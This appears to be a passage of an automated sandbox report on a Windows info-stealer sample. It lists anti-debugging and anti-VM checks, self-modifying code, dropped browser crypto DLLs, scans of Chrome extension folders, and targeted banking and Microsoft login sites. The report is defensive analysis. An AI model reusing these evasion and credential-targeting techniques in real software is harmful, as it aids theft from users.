Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAE67 second address: 6AAE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAE75 second address: 6AAE99 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8904F778BDh 0x00000008 jmp 00007F8904F778ACh 0x0000000d jmp 00007F8904F778ABh 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAE99 second address: 6AAE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAE9F second address: 6AAEB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jo 00007F8904F778A6h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAEB3 second address: 6AAEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAEB9 second address: 6AAEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAEBD second address: 6AAEC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAEC7 second address: 6AAED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8904F778A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B720D second address: 6B7212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9191 second address: 6C91A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C91A3 second address: 6C91AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C91AA second address: 6C91D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8904F778AEh 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F8904F778AEh 0x0000001a jl 00007F8904F778A6h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C94B9 second address: 6C94BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9773 second address: 6C97A0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8904F778ACh 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F8904F778AFh 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C97A0 second address: 6C97CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8904F6CEE4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F8904F6CED6h 0x00000013 jmp 00007F8904F6CEDAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C97CC second address: 6C97D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9DA4 second address: 6C9DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9DA8 second address: 6C9DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 js 00007F8904F778A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD122 second address: 6CD12C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFE66 second address: 6CFE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFE7A second address: 6CFEA6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8904F6CEDFh 0x0000000f jmp 00007F8904F6CEE3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFEA6 second address: 6CFEB3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFEB3 second address: 6CFF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F8904F6CED6h 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push esi 0x00000010 je 00007F8904F6CED6h 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 jmp 00007F8904F6CEE0h 0x0000001e pushad 0x0000001f jno 00007F8904F6CED6h 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 pushad 0x00000028 popad 0x00000029 jmp 00007F8904F6CEE2h 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 js 00007F8904F6CED6h 0x00000037 push ebx 0x00000038 pop ebx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFF04 second address: 6CFF08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFF08 second address: 6CFF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1DEB second address: 6D1DF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1DF0 second address: 6D1DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1DF6 second address: 6D1DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526032A second address: 526032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526032E second address: 5260332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260332 second address: 5260338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260338 second address: 5260360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F8904F778B4h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260360 second address: 5260364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260364 second address: 526036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526036A second address: 5260384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260384 second address: 526038A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526038A second address: 52603D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8904F6CEE8h 0x00000009 adc ecx, 7AE319E8h 0x0000000f jmp 00007F8904F6CEDBh 0x00000014 popfd 0x00000015 mov ah, FDh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov si, di 0x00000020 push ebx 0x00000021 mov dx, cx 0x00000024 pop eax 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52603D0 second address: 52603D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52603D4 second address: 52603D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52603D8 second address: 52603DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526040B second address: 526040F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526040F second address: 5260413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260413 second address: 5260419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260419 second address: 526045A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8904F778B8h 0x00000013 xor cl, 00000068h 0x00000016 jmp 00007F8904F778ABh 0x0000001b popfd 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526045A second address: 526047C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 4597B80Ah 0x00000008 mov dh, 4Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F8904F6CEDDh 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526047C second address: 5260480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260480 second address: 5260486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260486 second address: 52604B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8904F778B7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F742F second address: 5F7433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7433 second address: 5F7444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jbe 00007F8904F778B4h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7444 second address: 5F744A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 441CD7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5ED9E3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 43F21E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66DA11 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_001EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_001EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_001EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_001EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001EDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001E1160 GetSystemInfo,ExitProcess,

0_2_001E1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FHJDGHIJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: FHJDGHIJ.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: FHJDGHIJ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: FHJDGHIJ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY0
Source: FHJDGHIJ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: FHJDGHIJ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: FHJDGHIJ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: FHJDGHIJ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: FHJDGHIJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: FHJDGHIJ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: FHJDGHIJ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2361400523.0000000001204000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: FHJDGHIJ.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: FHJDGHIJ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: FHJDGHIJ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: FHJDGHIJ.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: FHJDGHIJ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FHJDGHIJ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: FHJDGHIJ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FHJDGHIJ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: FHJDGHIJ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13263
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13271
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13248
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13251
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14438
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13303

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_001F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9750 mov eax, dword ptr fs:[00000030h]

0_2_001F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001F7850

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6656, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001F9600

Source: file.exe, file.exe, 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

